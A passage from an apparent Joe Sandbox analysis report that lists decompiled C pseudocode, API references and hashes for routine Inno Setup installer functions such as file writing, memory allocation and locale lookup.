                                                            • Part of subcall function 00450118: GetLastError.KERNEL32(00000001,0044FF96,00000000,?,00000000,00000000,?,00000080,00000000,?,00000000,?,?,0048A596,00000001,00000000), ref: 0045011B
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast$FilePointer
                                                          • String ID:
                                                          • API String ID: 1156039329-0
                                                          • Opcode ID: 5e43d63ecdfeff7ab5c21cab3cc5596e29a7b730039e7c13a3b7570eb3d79c82
                                                          • Instruction ID: 9c942d1f11ac79fb5698bfd25e457c4f2283ae479994a009dd78b44e1105f4e5
                                                          • Opcode Fuzzy Hash: 5e43d63ecdfeff7ab5c21cab3cc5596e29a7b730039e7c13a3b7570eb3d79c82
                                                          • Instruction Fuzzy Hash: 23E0DF75200614CFDB10EEB48981B6372ECDF04325F048176E904CF2C6E635DC008B64
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E004501EC(intOrPtr* __eax, void* __ecx, void* __edx) {
                                                          				long _v8;
                                                          				long _t7;
                                                          				long _t8;
                                                          				intOrPtr* _t10;
                                                          
                                                          				_t10 = __eax;
                                                          				_v8 = 0;
                                                          				_t7 = SetFilePointer( *(__eax + 4), 0,  &_v8, 2); // executed
                                                          				_t8 = _t7 + 1;
                                                          				if(_t8 == 0) {
                                                          					_t8 = GetLastError();
                                                          					if(_t8 != 0) {
                                                          						_t8 = E00450118( *_t10);
                                                          					}
                                                          				}
                                                          				return _t8;
                                                          			}







                                                          0x004501ee
                                                          0x004501f2
                                                          0x00450202
                                                          0x00450207
                                                          0x00450208
                                                          0x0045020a
                                                          0x00450211
                                                          0x00450215
                                                          0x00450215
                                                          0x00450211
                                                          0x0045021c

                                                          APIs
                                                          • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,?,004684BF,00000000), ref: 00450202
                                                          • GetLastError.KERNEL32(00000000,00000000,00000000,00000002,?,?,004684BF,00000000), ref: 0045020A
                                                            • Part of subcall function 00450118: GetLastError.KERNEL32(00000001,0044FF96,00000000,?,00000000,00000000,?,00000080,00000000,?,00000000,?,?,0048A596,00000001,00000000), ref: 0045011B
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast$FilePointer
                                                          • String ID:
                                                          • API String ID: 1156039329-0
                                                          • Opcode ID: 93c00a7808f9e3db7b3a31e4c85824157b8f31de8e17eb042cadab940a18e262
                                                          • Instruction ID: 9d737e19be7681f55fccf2234e65618eb5bbb2662f6b147db5e1bf7809bd599b
                                                          • Opcode Fuzzy Hash: 93c00a7808f9e3db7b3a31e4c85824157b8f31de8e17eb042cadab940a18e262
                                                          • Instruction Fuzzy Hash: 0BE012653446045BEB00EAB5C9C6B2B32DCDB48305F04847AB944CF183D674DC054B25
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E004014EC(void* __eax, void** __edx) {
                                                          				void* _t3;
                                                          				void** _t8;
                                                          				void* _t11;
                                                          				long _t14;
                                                          
                                                          				_t8 = __edx;
                                                          				if(__eax >= 0x100000) {
                                                          					_t14 = __eax + 0x0000ffff & 0xffff0000;
                                                          				} else {
                                                          					_t14 = 0x100000;
                                                          				}
                                                          				_t8[1] = _t14;
                                                          				_t3 = VirtualAlloc(0, _t14, 0x2000, 1); // executed
                                                          				_t11 = _t3;
                                                          				 *_t8 = _t11;
                                                          				if(_t11 != 0) {
                                                          					_t3 = E004013A0(0x48d440, _t8);
                                                          					if(_t3 == 0) {
                                                          						VirtualFree( *_t8, 0, 0x8000);
                                                          						 *_t8 = 0;
                                                          						return 0;
                                                          					}
                                                          				}
                                                          				return _t3;
                                                          			}







                                                          0x004014ef
                                                          0x004014f9
                                                          0x00401508
                                                          0x004014fb
                                                          0x004014fb
                                                          0x004014fb
                                                          0x0040150e
                                                          0x0040151b
                                                          0x00401520
                                                          0x00401522
                                                          0x00401526
                                                          0x0040152f
                                                          0x00401536
                                                          0x00401542
                                                          0x00401549
                                                          0x00000000
                                                          0x00401549
                                                          0x00401536
                                                          0x0040154e

                                                          APIs
                                                          • VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,004017F5), ref: 0040151B
                                                          • VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,004017F5), ref: 00401542
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Virtual$AllocFree
                                                          • String ID:
                                                          • API String ID: 2087232378-0
                                                          • Opcode ID: b47dfa8464c0bebe42472cbbc825c69c8bd26aa5f95237cd5ae25c2d008f6871
                                                          • Instruction ID: 1d64295b8d0e0b9a38f8b2fc07ed469c99ec606e4b1f6f299006d044831eee91
                                                          • Opcode Fuzzy Hash: b47dfa8464c0bebe42472cbbc825c69c8bd26aa5f95237cd5ae25c2d008f6871
                                                          • Instruction Fuzzy Hash: 1FF0E2B2B0162027EB206A6A0C82B565A949BC5B94F154077FE09FF3D9D2798C0142A9
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 82%
                                                          			E00458C5C(void* __eax, void* __ebx, signed int __ecx, void* __edx, void* __edi, void* __esi, signed int _a4) {
                                                          				intOrPtr _v4104;
                                                          				intOrPtr* _v4108;
                                                          				intOrPtr _v4114;
                                                          				intOrPtr _v4118;
                                                          				char _v4120;
                                                          				intOrPtr _v4124;
                                                          				signed int _v4236;
                                                          				intOrPtr _v4240;
                                                          				intOrPtr _v4244;
                                                          				intOrPtr _v4248;
                                                          				char _v4376;
                                                          				char _v4504;
                                                          				void _v4568;
                                                          				char _v4576;
                                                          				intOrPtr _t76;
                                                          				intOrPtr _t104;
                                                          				signed char _t106;
                                                          				intOrPtr _t134;
                                                          				intOrPtr _t143;
                                                          				void* _t148;
                                                          				void* _t150;
                                                          				void* _t152;
                                                          				void* _t153;
                                                          				intOrPtr _t155;
                                                          
                                                          				_t152 = _t153;
                                                          				_push(__eax);
                                                          				_t155 = _t153 + 0xffffffffffffee28;
                                                          				_t106 = __ecx;
                                                          				_t148 = __eax;
                                                          				_v4104 = 0;
                                                          				if((__ecx ^ 0x00000001) == 0) {
                                                          					_v4108 = E0044FF24(__edx, 1, 0, 2, 2);
                                                          				} else {
                                                          					_t104 = E0044FF24(__edx, 1, 0, 2, 0); // executed
                                                          					_v4108 = _t104;
                                                          				}
                                                          				_push(_t152);
                                                          				_push(0x458e67);
                                                          				_push( *[fs:edx]);
                                                          				 *[fs:edx] = _t155;
                                                          				if((_t106 ^ 0x00000001) == 0) {
                                                          					_t111 = 0x1c0;
                                                          					E0045016C(_v4108, 0x1c0,  &_v4568);
                                                          					E00450194(_v4240);
                                                          				} else {
                                                          					E00402A64( &_v4568, 0x1c0);
                                                          					_t111 = 0x1c0;
                                                          					E0045023C(_v4108, 0x1c0,  &_v4568, _t152);
                                                          				}
                                                          				_t143 =  *((intOrPtr*)(_t148 + 4));
                                                          				while(_t143 != 0) {
                                                          					_v4120 =  *((intOrPtr*)(_t143 + 0x10));
                                                          					_v4118 =  *((intOrPtr*)(_t143 + 8));
                                                          					_v4114 =  *((intOrPtr*)(_t143 + 0xc));
                                                          					E00458BE4( &_v4120, 0xa, _t152);
                                                          					E00458BE4(_t143 + 0x12,  *((intOrPtr*)(_t143 + 0xc)), _t152);
                                                          					_pop(_t111);
                                                          					_v4244 = _v4244 + 1;
                                                          					_t143 =  *((intOrPtr*)(_t143 + 4));
                                                          				}
                                                          				E00458B60(_t111, _t152); // executed
                                                          				E0044FFE4(_v4108,  &_v4576);
                                                          				_v4240 = _v4576;
                                                          				E00450194(0);
                                                          				memcpy( &_v4568, 0x5d6dd68 + "Inno Setup Uninstall Log (b)", 0x10 << 2);
                                                          				_t150 = _t148;
                                                          				E004075E4( &_v4504, 0x7f,  *((intOrPtr*)(_t150 + 0x14)));
                                                          				if((_t106 ^ 0x00000001 | _a4) != 0) {
                                                          					E004075E4( &_v4376, 0x7f,  *((intOrPtr*)(_t150 + 0x18)));
                                                          				}
                                                          				_t76 =  *((intOrPtr*)(_t150 + 0x20));
                                                          				if(_t76 > _v4248) {
                                                          					_v4248 = _t76;
                                                          				}
                                                          				_v4236 = _v4236 |  *(_t150 + 0x1d);
                                                          				_v4124 = E0045076C( &_v4568, 0x1bc);
                                                          				FlushFileBuffers( *(_v4108 + 4));
                                                          				E0045023C(_v4108, 0x1c0,  &_v4568, _t152);
                                                          				_pop(_t134);
                                                          				 *[fs:eax] = _t134;
                                                          				_push(0x458e6e);
                                                          				return E00402CA0(_v4108);
                                                          			}



























                                                          0x00458c5d
                                                          0x00458c65
                                                          0x00458c66
                                                          0x00458c6f
                                                          0x00458c73
                                                          0x00458c77
                                                          0x00458c83
                                                          0x00458cb5
                                                          0x00458c85
                                                          0x00458c94
                                                          0x00458c99
                                                          0x00458c99
                                                          0x00458cbd
                                                          0x00458cbe
                                                          0x00458cc3
                                                          0x00458cc6
                                                          0x00458ccf
                                                          0x00458d01
                                                          0x00458d0c
                                                          0x00458d1d
                                                          0x00458cd1
                                                          0x00458cde
                                                          0x00458ce9
                                                          0x00458cf4
                                                          0x00458cf4
                                                          0x00458d22
                                                          0x00458d27
                                                          0x00458d2d
                                                          0x00458d37
                                                          0x00458d40
                                                          0x00458d52
                                                          0x00458d5f
                                                          0x00458d64
                                                          0x00458d65
                                                          0x00458d6b
                                                          0x00458d6e
                                                          0x00458d73
                                                          0x00458d85
                                                          0x00458d90
                                                          0x00458d9e
                                                          0x00458dbe
                                                          0x00458dc0
                                                          0x00458dcf
                                                          0x00458dda
                                                          0x00458dea
                                                          0x00458dea
                                                          0x00458def
                                                          0x00458df8
                                                          0x00458dfa
                                                          0x00458dfa
                                                          0x00458e11
                                                          0x00458e23
                                                          0x00458e33
                                                          0x00458e49
                                                          0x00458e50
                                                          0x00458e53
                                                          0x00458e56
                                                          0x00458e66

                                                          APIs
                                                          • FlushFileBuffers.KERNEL32(?,00000000,00458E67,?,00000000,00000002,00000002), ref: 00458E33
                                                            • Part of subcall function 0044FF24: 6CAA5CA0.KERNEL32(00000000,?,00000000,00000000,?,00000080,00000000,?,00000000,?,?,0048A596,00000001,00000000,00000002,00000000), ref: 0044FF7D
                                                            • Part of subcall function 0045023C: WriteFile.KERNEL32(?,?,00000000,00450496,00000000,00000000,?,?,?,00450496,00000000,00452595,?,0048B23D,00000000,00452636), ref: 00450253
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: File$BuffersFlushWrite
                                                          • String ID:
                                                          • API String ID: 1012034594-0
                                                          • Opcode ID: de8fda2d95f50b4884014379d4ceac5cbcd03f56e2aa0340912cb38c5927129d
                                                          • Instruction ID: 98f95fac580508a0606152e77f4bbd63eac633614977a46270456582b705ae86
                                                          • Opcode Fuzzy Hash: de8fda2d95f50b4884014379d4ceac5cbcd03f56e2aa0340912cb38c5927129d
                                                          • Instruction Fuzzy Hash: A7519334A002589BDB21DF25CC41ADAB3B5BB48305F1084EBA94DE7782DB74AEC9CF54
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 96%
                                                          			E0047308C(long __eax, void* __ecx) {
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				long _t16;
                                                          				intOrPtr _t17;
                                                          				void* _t22;
                                                          				intOrPtr _t35;
                                                          				intOrPtr _t39;
                                                          				intOrPtr _t43;
                                                          				intOrPtr _t47;
                                                          				intOrPtr _t51;
                                                          				int _t54;
                                                          				intOrPtr _t55;
                                                          				void* _t58;
                                                          				void* _t60;
                                                          				void* _t69;
                                                          				void* _t70;
                                                          				void* _t71;
                                                          				void* _t75;
                                                          				intOrPtr _t78;
                                                          				intOrPtr _t79;
                                                          				intOrPtr _t80;
                                                          				intOrPtr _t85;
                                                          				intOrPtr _t87;
                                                          				intOrPtr _t88;
                                                          				intOrPtr _t89;
                                                          				void* _t93;
                                                          				void* _t97;
                                                          				void* _t98;
                                                          				void* _t99;
                                                          				void* _t101;
                                                          				void* _t102;
                                                          				long _t103;
                                                          				void* _t106;
                                                          
                                                          				_t71 = __ecx;
                                                          				_t16 = __eax;
                                                          				_t103 = __eax;
                                                          				_t106 = _t103 -  *0x48cb08; // 0x0
                                                          				if(_t106 == 0) {
                                                          					L22:
                                                          					return _t16;
                                                          				}
                                                          				_t17 =  *0x4ae1c4; // 0x21c2a4c
                                                          				_t69 = E0040B654(_t17, __eax);
                                                          				_push(E004036BC( *((intOrPtr*)(_t69 + 0x18))));
                                                          				_t2 = _t69 + 0x18; // 0x18
                                                          				_t22 = E0040388C(_t2);
                                                          				_pop(_t75);
                                                          				E00450D04(_t22, _t71, _t75);
                                                          				 *0x48cb08 = _t103;
                                                          				E00403C08(0x4ae184, _t69, 0x430d54, _t93, _t98);
                                                          				_t99 = _t69;
                                                          				memcpy(0x4ae184, _t99, 0x10 << 2);
                                                          				_t4 = _t99 + 0x20 - 0x40; // 0x4ae144
                                                          				E00403C14(_t4, 0x430d54);
                                                          				if( *((intOrPtr*)(_t69 + 0x1c)) == 0) {
                                                          					_t78 =  *0x4ae094; // 0x21d4b24
                                                          					E00403598(0x4ae214, _t69, _t78, _t96, _t99);
                                                          				} else {
                                                          					E00403598(0x4ae214, _t69,  *((intOrPtr*)(_t69 + 0x1c)), _t96, _t99);
                                                          				}
                                                          				if( *((intOrPtr*)(_t69 + 0x20)) == 0) {
                                                          					_t79 =  *0x4ae098; // 0x0
                                                          					E00403598(0x4ae218, _t69, _t79, _t96, _t99);
                                                          				} else {
                                                          					E00403598(0x4ae218, _t69,  *((intOrPtr*)(_t69 + 0x20)), _t96, _t99);
                                                          				}
                                                          				_t109 =  *((intOrPtr*)(_t69 + 0x24));
                                                          				if( *((intOrPtr*)(_t69 + 0x24)) == 0) {
                                                          					_t80 =  *0x4ae09c; // 0x0
                                                          					E00403598(0x4ae21c, _t69, _t80, _t96, _t99);
                                                          				} else {
                                                          					E00403598(0x4ae21c, _t69,  *((intOrPtr*)(_t69 + 0x24)), _t96, _t99);
                                                          				}
                                                          				_t35 =  *0x48dcd8; // 0x21da4bc
                                                          				E0042EA38(0, 0, E00403880(_t35), _t109);
                                                          				_t39 =  *0x48dbf4; // 0x21d9484
                                                          				E0042EA38(1, 0, E00403880(_t39), _t109);
                                                          				_t43 =  *0x48dc80; // 0x21d9cc0
                                                          				E0042EA38(2, 0, E00403880(_t43), _t109);
                                                          				_t47 =  *0x48dc80; // 0x21d9cc0
                                                          				E0042EA38(3, 0, E00403880(_t47), _t109);
                                                          				_t85 =  *0x48ddc0; // 0x21db5c8
                                                          				_t51 =  *0x48d628; // 0x21c2410
                                                          				E004244DC(_t51, _t85, _t96);
                                                          				_t16 =  *0x4ae1d0; // 0x21c2a88
                                                          				_t101 =  *((intOrPtr*)(_t16 + 8)) - 1;
                                                          				if(_t101 < 0) {
                                                          					L20:
                                                          					if( *0x4adf94 == 0) {
                                                          						goto L22;
                                                          					}
                                                          					_t54 = SendNotifyMessageA( *0x4adf98, 0x496, 0x2711, _t103); // executed
                                                          					return _t54;
                                                          				} else {
                                                          					_t102 = _t101 + 1;
                                                          					_t97 = 0;
                                                          					do {
                                                          						_t55 =  *0x4ae1d0; // 0x21c2a88
                                                          						_t70 = E0040B654(_t55, _t97);
                                                          						_t58 =  *((intOrPtr*)(_t70 + 0x25)) - 1;
                                                          						if(_t58 == 0) {
                                                          							_t13 = _t70 + 4; // 0x4
                                                          							_t87 =  *0x48dcbc; // 0x21da2f8
                                                          							_t16 = E00403598(_t13, _t70, _t87, _t97, _t102);
                                                          						} else {
                                                          							_t60 = _t58 - 1;
                                                          							if(_t60 == 0) {
                                                          								_t14 = _t70 + 4; // 0x4
                                                          								_t88 =  *0x48dbdc; // 0x21d9270
                                                          								_t16 = E00403598(_t14, _t70, _t88, _t97, _t102);
                                                          							} else {
                                                          								_t16 = _t60 - 1;
                                                          								if(_t16 == 0) {
                                                          									_t15 = _t70 + 4; // 0x4
                                                          									_t89 =  *0x48dbfc; // 0x21d94f0
                                                          									_t16 = E00403598(_t15, _t70, _t89, _t97, _t102);
                                                          								}
                                                          							}
                                                          						}
                                                          						_t97 = _t97 + 1;
                                                          						_t102 = _t102 - 1;
                                                          					} while (_t102 != 0);
                                                          					goto L20;
                                                          				}
                                                          			}





































                                                          0x0047308c
                                                          0x0047308c
                                                          0x00473090
                                                          0x00473092
                                                          0x00473098
                                                          0x00473242
                                                          0x00473242
                                                          0x00473242
                                                          0x004730a0
                                                          0x004730aa
                                                          0x004730b4
                                                          0x004730b5
                                                          0x004730b8
                                                          0x004730bd
                                                          0x004730be
                                                          0x004730c3
                                                          0x004730d3
                                                          0x004730d8
                                                          0x004730e4
                                                          0x004730e6
                                                          0x004730ee
                                                          0x004730f7
                                                          0x0047310d
                                                          0x00473113
                                                          0x004730f9
                                                          0x00473101
                                                          0x00473101
                                                          0x0047311c
                                                          0x00473132
                                                          0x00473138
                                                          0x0047311e
                                                          0x00473126
                                                          0x00473126
                                                          0x0047313d
                                                          0x00473141
                                                          0x00473157
                                                          0x0047315d
                                                          0x00473143
                                                          0x0047314b
                                                          0x0047314b
                                                          0x00473162
                                                          0x00473170
                                                          0x00473175
                                                          0x00473183
                                                          0x00473188
                                                          0x00473196
                                                          0x0047319b
                                                          0x004731a9
                                                          0x004731ae
                                                          0x004731b4
                                                          0x004731b9
                                                          0x004731be
                                                          0x004731c6
                                                          0x004731c9
                                                          0x0047321f
                                                          0x00473226
                                                          0x00000000
                                                          0x00000000
                                                          0x00473239
                                                          0x00000000
                                                          0x004731cb
                                                          0x004731cb
                                                          0x004731cc
                                                          0x004731ce
                                                          0x004731d0
                                                          0x004731da
                                                          0x004731df
                                                          0x004731e1
                                                          0x004731ed
                                                          0x004731f0
                                                          0x004731f6
                                                          0x004731e3
                                                          0x004731e3
                                                          0x004731e5
                                                          0x004731fd
                                                          0x00473200
                                                          0x00473206
                                                          0x004731e7
                                                          0x004731e7
                                                          0x004731e9
                                                          0x0047320d
                                                          0x00473210
                                                          0x00473216
                                                          0x00473216
                                                          0x004731e9
                                                          0x004731e5
                                                          0x0047321b
                                                          0x0047321c
                                                          0x0047321c
                                                          0x00000000
                                                          0x004731ce

                                                          APIs
                                                          • SendNotifyMessageA.USER32(?,00000496,00002711,00000000), ref: 00473239
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: MessageNotifySend
                                                          • String ID:
                                                          • API String ID: 3556456075-0
                                                          • Opcode ID: 9ab252c7df4a3371be67c19622f9384f871a42459bdec4ebf624354283c3477d
                                                          • Instruction ID: d9d9b5a362be0b11c7760159c5e68fdaa49a9a0ccb77dac42abb28a5527d8e81
                                                          • Opcode Fuzzy Hash: 9ab252c7df4a3371be67c19622f9384f871a42459bdec4ebf624354283c3477d
                                                          • Instruction Fuzzy Hash: B841A5317011009BC700FF67DC8194A7B95EB4630AB90C5BBE8189B3A6CA39DE46D79D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 83%
                                                          			E004087C0(void* __ebx, void* __ecx, void* __edi, void* __esi) {
                                                          				signed int _v8;
                                                          				int _v12;
                                                          				char _v16;
                                                          				char _v20;
                                                          				void* _t76;
                                                          				void* _t77;
                                                          				intOrPtr _t103;
                                                          				void* _t106;
                                                          				void* _t107;
                                                          				void* _t109;
                                                          				void* _t110;
                                                          				void* _t113;
                                                          
                                                          				_v16 = 0;
                                                          				_v20 = 0;
                                                          				_push(_t113);
                                                          				_push(0x4088f6);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t113 + 0xfffffff0;
                                                          				_v12 = GetSystemDefaultLCID();
                                                          				_t76 = 1;
                                                          				_t109 = 0x48d4c0;
                                                          				_t106 = 0x48d4f0;
                                                          				do {
                                                          					_t6 = _t76 + 0xffbf; // 0xffc0
                                                          					E00406E88(_t6,  &_v20);
                                                          					_t8 = _t76 + 0x44; // 0x45
                                                          					E0040874C(_v12, _v20, _t8 - 1,  &_v16); // executed
                                                          					E00403598(_t109, _t76, _v16, _t106, _t109);
                                                          					_t13 = _t76 + 0xffcf; // 0xffd0
                                                          					E00406E88(_t13,  &_v20);
                                                          					_t15 = _t76 + 0x38; // 0x39
                                                          					E0040874C(_v12, _v20, _t15 - 1,  &_v16);
                                                          					E00403598(_t106, _t76, _v16, _t106, _t109);
                                                          					_t76 = _t76 + 1;
                                                          					_t106 = _t106 + 4;
                                                          					_t109 = _t109 + 4;
                                                          				} while (_t76 != 0xd);
                                                          				_t77 = 1;
                                                          				_t110 = 0x48d520;
                                                          				_t107 = 0x48d53c;
                                                          				do {
                                                          					_t18 = _t77 + 5; // 0x6
                                                          					asm("cdq");
                                                          					_v8 = _t18 % 7;
                                                          					_t26 = _t77 + 0xffdf; // 0xffe0
                                                          					E00406E88(_t26,  &_v20);
                                                          					E0040874C(_v12, _v20, _v8 + 0x31,  &_v16);
                                                          					E00403598(_t110, _t77, _v16, _t107, _t110);
                                                          					_t33 = _t77 + 0xffe6; // 0xffe7
                                                          					E00406E88(_t33,  &_v20);
                                                          					E0040874C(_v12, _v20, _v8 + 0x2a,  &_v16);
                                                          					E00403598(_t107, _t77, _v16, _t107, _t110);
                                                          					_t77 = _t77 + 1;
                                                          					_t107 = _t107 + 4;
                                                          					_t110 = _t110 + 4;
                                                          				} while (_t77 != 8);
                                                          				_pop(_t103);
                                                          				 *[fs:eax] = _t103;
                                                          				_push(E004088FD);
                                                          				return E00403568( &_v20, 2);
                                                          			}















                                                          0x004087cb
                                                          0x004087ce
                                                          0x004087d3
                                                          0x004087d4
                                                          0x004087d9
                                                          0x004087dc
                                                          0x004087e4
                                                          0x004087e7
                                                          0x004087ec
                                                          0x004087f1
                                                          0x004087f6
                                                          0x004087fd
                                                          0x00408803
                                                          0x0040880b
                                                          0x00408812
                                                          0x0040881c
                                                          0x00408828
                                                          0x0040882e
                                                          0x00408836
                                                          0x0040883d
                                                          0x00408847
                                                          0x0040884c
                                                          0x0040884d
                                                          0x00408850
                                                          0x00408853
                                                          0x00408858
                                                          0x0040885d
                                                          0x00408862
                                                          0x00408867
                                                          0x00408867
                                                          0x0040886f
                                                          0x00408872
                                                          0x0040887c
                                                          0x00408882
                                                          0x00408893
                                                          0x0040889d
                                                          0x004088a9
                                                          0x004088af
                                                          0x004088c0
                                                          0x004088ca
                                                          0x004088cf
                                                          0x004088d0
                                                          0x004088d3
                                                          0x004088d6
                                                          0x004088dd
                                                          0x004088e0
                                                          0x004088e3
                                                          0x004088f5

                                                          APIs
                                                          • GetSystemDefaultLCID.KERNEL32(00000000,004088F6), ref: 004087DF
                                                            • Part of subcall function 00406E88: LoadStringA.USER32 ref: 00406EA5
                                                            • Part of subcall function 0040874C: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0048D4C0,00000001,?,00408817,?,00000000,004088F6), ref: 0040876A
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: DefaultInfoLoadLocaleStringSystem
                                                          • String ID:
                                                          • API String ID: 1658689577-0
                                                          • Opcode ID: 1c1894150776b90865854070815ef66849cb364d8f97ba9b26649f05d9b49282
                                                          • Instruction ID: 2f8ba864ab96db97f6cf17ed82080221b0fae122bfefd17694dcc9a968476761
                                                          • Opcode Fuzzy Hash: 1c1894150776b90865854070815ef66849cb364d8f97ba9b26649f05d9b49282
                                                          • Instruction Fuzzy Hash: 53313235E01109ABCB00EF95CC819DEB779EF85314F518577EC19B7286E738AE068B98
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E0041FDB4(void* __eax, char __ecx, void* __edx) {
                                                          				struct tagSCROLLINFO _v44;
                                                          				intOrPtr _t28;
                                                          				void* _t40;
                                                          				void* _t48;
                                                          				signed short _t49;
                                                          				intOrPtr _t51;
                                                          
                                                          				_t52 =  &(_v44.nMax);
                                                          				_v44.nMax = __ecx;
                                                          				_t40 = __edx;
                                                          				_t48 = __eax;
                                                          				 *((intOrPtr*)(__eax + 0x14)) = 0;
                                                          				_t49 = 0;
                                                          				if( *((char*)(__eax + 0x18)) == 1) {
                                                          					_t49 = 1;
                                                          				}
                                                          				if( *((char*)(_t48 + 0x1c)) != 0) {
                                                          					_t51 =  *((intOrPtr*)(_t48 + 0x10)) - E0041FB54(_t48,  *_t52, _t40);
                                                          					 *((intOrPtr*)(_t48 + 0x14)) = _t51;
                                                          					if(_t51 < 0) {
                                                          						 *((intOrPtr*)(_t48 + 0x14)) = 0;
                                                          					}
                                                          				}
                                                          				_v44.cbSize = 0x1c;
                                                          				_v44.fMask = 0x17;
                                                          				_v44.nMin = 0;
                                                          				if( *((intOrPtr*)(_t48 + 0x14)) <= 0) {
                                                          					_v44.nMax = 0;
                                                          				} else {
                                                          					_v44.nMax =  *((intOrPtr*)(_t48 + 0x10));
                                                          				}
                                                          				_v44.nPage = E0041FB54(_t48,  *_t52, _t40) + 1;
                                                          				_t28 =  *((intOrPtr*)(_t48 + 0xc));
                                                          				_v44.nPos = _t28;
                                                          				_v44.nTrackPos = _t28;
                                                          				SetScrollInfo(E004183F8( *((intOrPtr*)(_t48 + 4))), _t49 & 0x0000ffff,  &_v44, 1); // executed
                                                          				return E0041FCB4(_t48,  *((intOrPtr*)(_t48 + 0xc)));
                                                          			}









                                                          0x0041fdb8
                                                          0x0041fdbb
                                                          0x0041fdbe
                                                          0x0041fdc0
                                                          0x0041fdc4
                                                          0x0041fdc7
                                                          0x0041fdcd
                                                          0x0041fdcf
                                                          0x0041fdcf
                                                          0x0041fdd7
                                                          0x0041fde8
                                                          0x0041fdea
                                                          0x0041fdef
                                                          0x0041fdf3
                                                          0x0041fdf3
                                                          0x0041fdef
                                                          0x0041fdf6
                                                          0x0041fdfe
